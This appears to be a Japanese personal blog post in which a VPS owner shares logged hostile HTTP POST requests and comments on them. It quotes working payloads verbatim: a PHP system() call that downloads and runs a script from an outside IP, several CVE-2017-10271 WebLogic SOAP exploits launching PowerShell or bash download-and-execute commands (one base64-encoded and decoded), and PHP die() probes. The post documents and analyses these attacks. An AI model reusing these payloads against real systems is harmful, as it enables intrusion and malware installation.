さくらVPSを借りて自分一人が使うためのサーバマシンとして利用している. その中で http POST されたデータを全て保存するということをひたすらやっていた. 主にはそれを自分用の記録として利用するためだったが、面白いので攻撃的な送信データも敢えて消さず残しておいた.
ログそのまんま (自分自身からではないPOSTデータ) を置いておきます. 実行するとダメなコード片が含まれます.
<?
system("cd /tmp ;rm -rf msr*;rm -rf live*;
wget -c -q http://95.110.227.132/ch/wp-admin/js/a/msr;perl msr;rm -rf msr ;
curl -O http://95.110.227.132/ch/wp-admin/js/a/msr;perl msr;rm -rf msr;
fetch http://95.110.227.132/ch/wp-admin/js/a/msr;perl msr;rm -rf msr ");
?>
改行は勝手に補った.
phpとして解釈するのだろうか? (<?php
で始まってないけど.) 中身は、スクリプトをダウンロードして実行するだけ.
スクリプトはというと、PCの情報っぽいものをひたすらかき集めて、最後に mail florindoringiga@gmail.com -s "Miron Coszma" < mail
するというもの. よく見ると、このスクリプト msr
はどう見てもシェルスクリプトだし #!/bin/bash
まで付いてるが、なぜ perl
で実行してるんだろう.
POST /wls-wsat/CoordinatorPortType
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAVwBtAGkAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABpAG8AbgA7ACQAVwBDAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAFcAQwAuAEgAZQBhAGQAZQByAHMAWwAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwBdAD0AIgBQAG8AdwBlAHIAUwBoAGUAbABsAC8AVwBMACAAJABPAFMAIgA7AEkARQBYACAAJABXAEMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADAALgAyADUALgAxADQAOAAuADIAMAAyAC8AaQBtAGEAZwBlAHMALwB0AGUAcwB0AC8ARABMAC4AcABoAHAAJwApADsA</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
POST先の "/wls-wsat/CoordinatorPortType" でぐぐったら、これが何か分かった. CVE-2017-10271 であるらしい.
このSOAPの意味は正しくは分からないけれど、雰囲気、
cmd.exe /c "Start /Min...."
を実行するもので、明らかにWindows環境のそれっぽい. /c
オプションは、続く文字列をコマンドとしてただ実行するもの. データの中にある -E JABP...
であるが、これは base64 でデコードすると
$OS=(GWmi Win32_OperatingSystem).Caption;$WC=New-Object Net.WebClient;$WC.Headers['User-Agent']="PowerShell/WL $OS";IEX $WC.DownloadString('http://120.25.148.202/images/test/DL.php');
と出た. DL.php
というスクリプトをダウンロードするだけのPowerShell上で動くコードっぽい. 実行したあとどこで動かすのかよく分からないけど.
このURLは今は繋がらないものになっていて、IPだけが変えられたデータが送られてきてたので、一瞬だけサーバを立ち上げて攻撃してサーバを閉じて、というのを繰り返してるらしい.
実行するコマンドがちょっと違うだけ.
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>
-c</string>
</void>
<void index="2">
<string>
wget -O - http://185.117.75.219/jquery.js | bash</string>
</void>
</array>
<void method="start" />
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body />
</soapenv:Envelope>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>
\windows\system32\cmd.exe</string>
</void>
<void index="1">
<string>
</string>
</void>
<void index="2">
<string>
wershell.exe -WindowStyle Hidden $P = nEW-oBJECT sYSTEM.nET.wEBcLIENT;$P.DownloadFile('http://bbc.servehalflife.com/loveby.exe', 'C:\Windows\team.exe');START C:\Windows\team.exe</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
h=die('Hello, Peppa!');
h=die('Hello, Peppa!'.(string)(111111111*9));
2018年6月から急に現れたタイプで、短期間に集中的にアクセスが来る. リクエスト先 (決まって /*.php
という形のもの) やコードの中身がちょっとずつ変化しながらアクセスがあるので、手動で実験的にスクリプトを動かしたりしてるのではないだろうか. 中身はこのようなほとんど意味のない、die
を呼ぶだけのもの. die
に引数渡すと、それを出力して終了するらしい. 凝った引数を渡す意味はよくわからない. 単に、送信したデータが動いていることを確認する意味だろう.
ちなみに Peppa でググると "Peppa Pig" という海外のテレビ番組のキャラクターが出てくる. "Hello, Peppa!" という文字列も何か元ネタがあるのだろうか. ぐぐっても「こんな変なアクセスがあった」という記事くらいしかヒットしない.
こういった攻撃的なアクセスにも流行性があるのが面白い.